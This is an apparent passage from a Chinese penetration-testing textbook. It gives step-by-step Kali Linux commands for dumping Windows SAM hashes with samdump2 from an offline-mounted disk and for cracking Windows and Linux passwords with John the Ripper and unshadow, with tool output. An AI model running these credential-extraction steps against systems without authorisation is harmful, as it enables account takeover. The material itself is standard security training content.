當忘記操作系統的密碼或者攻擊某台主機時,需要知道該系統中某個用戶的用戶名和密碼。本節將分別介紹破解Windows和Linux用戶密碼。
8.6.1 破解Windows用戶密碼
Windows系統的用戶名和密碼保存在SAM(安全賬號管理器)文件中。在基於NT內核的Windows系統中,包括Windows 2000及后續版本,這個文件保存在“C:\Windows\System32\Config”目錄下。出於安全原因,微軟特定添加了一些額外的安全措施將該文件保護了起來。首先,操作系統啟動之后,SAM文件將同時被鎖定。這意味着操作系統運行之時,用戶無法打開或復制SAM文件。除了鎖定,整個SAM文件還經過加密,且不可見。
幸運的是,現在有辦法繞過這些限制。在遠程計算機上,只要目標處於運行狀態,就可以利用Meterpreter和SAM Juicer獲取計算機上的散列文件。獲得訪問系統的物理權限之后,用戶就可以在其上啟動其他的操作系統,如在USB或DVD-ROM設備上的Kali Linux。啟動目標計算機進入到其他的操作系統之后,用戶可以使用Kali中的John the Ripper工具來破解該Windows用戶密碼。
使用John the Ripper工具破解Windows用戶密碼。具體操作步驟如下所示。
(1)檢查當前系統中的硬盤驅動。執行命令如下所示:
輸出的信息表示當前系統中有一塊磁盤,並只有一個分區。該文件系統類型是NTFS,也是Windows系統的所存放的磁盤。
(2)掛載硬盤驅動。執行命令如下所示:
root@kali:~# mkdir /sda1 #創建掛載點
root@kali:~# mount /dev/sda1 /sda1/ #掛載/dev/sda1分區
執行以上命令后,沒有任何輸出信息。
(3)切換目錄,進入到Windows SAM文件的位置。執行命令如下所示:
root@kali:~# cd /sda1/WINDOWS/system32/config/
在該目錄中,可以看到SAM文件。
(4)使用SamDump2提取SAM文件。執行命令如下所示:
root@kali:/sda1/WINDOWS/system32/config# samdump2 SAM system > /root/hash.txt
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
Root Key : SAM
從輸出信息中可以看到提取了SAM文件。將該文件的內容重定向到了/root/hash.txt文件中。
(5)運行john命令,實現密碼攻擊。執行命令如下所示:
root@kali:/sda1/WINDOWS/system32/config# /usr/sbin/john /root/hash.txt --format=nt
Created directory: /root/.john
Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
(Guest)
guesses: 4 time: 0:00:03:13 0.09% (3) (ETA: Mon May 12 06:46:42 2014) c/s: 152605K trying: 2KRIN.P - 2KRIDY8
guesses: 4 time: 0:00:04:26 0.13% (3) (ETA: Mon May 12 04:02:53 2014) c/s: 152912K trying: GR0KUHI - GR0KDN1
guesses: 4 time: 0:00:04:27 0.13% (3) (ETA: Mon May 12 04:15:42 2014) c/s: 152924K trying: HKCUUHT - HKCUGDS
8.6.2 破解Linux用戶密碼
破解Linux的密碼基本上和破解Windows密碼的方法非常類似,在該過程中只有一點不同。Linux系統沒有使用SAM文件夾來保存密碼散列。Linux系統將加密的密碼散列包含在一個叫做shadow的文件里,該文件的絕對路徑為/etc/shadow。
不過,在使用John the Ripper破解/etc/shadow文件之前,還需要/etc/passwd文件。這和提取Windows密碼散列需要system文件和SAM文件是一樣的道理。John the Ripper自帶了一個功能,它可以將shadow和passwd文件結合在一起,這樣就可以使用該工具破解Linux系統的用戶密碼。本小節將介紹破解Linux用戶密碼的方法。
使用John the Ripper工具破解Linux用戶密碼。具體操作步驟如下所示。
(1)使用unshadow提取密碼散列。執行命令如下所示:
root@kali:~# unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt
執行以上命令后,會將/etc/passwd/文件與/etc/shadow/文件結合在一起,生成一個叫做linux_hashes.txt的文件,保存在/tmp/目錄中。
(2)破解Linux用戶密碼。執行命令如下所示:
root@kali:~# john --format=crypt --show /tmp/linux_hashes.txt
root:123456:0:0:root:/root:/bin/bash
bob:123456:1000:1001::/home/bob:/bin/sh
alice:123456:1001:1002::/home/alice:/bin/sh
3 password hashes cracked, 0 left
從輸出的結果中,可以看到當前系統中共有三個用戶,其密碼都為123456。
注意:使用John the Ripper開始破解Linux密碼之前,需要使用支持破解不同類型密碼散列的John the Ripper版本。如果用錯版本或者使用未打補丁的John the Ripper,程序將返回錯誤信息No password hashes loaded(沒有價值密碼散列)。大多數現代Linux系統都使用SHA散列加密算法保存密碼。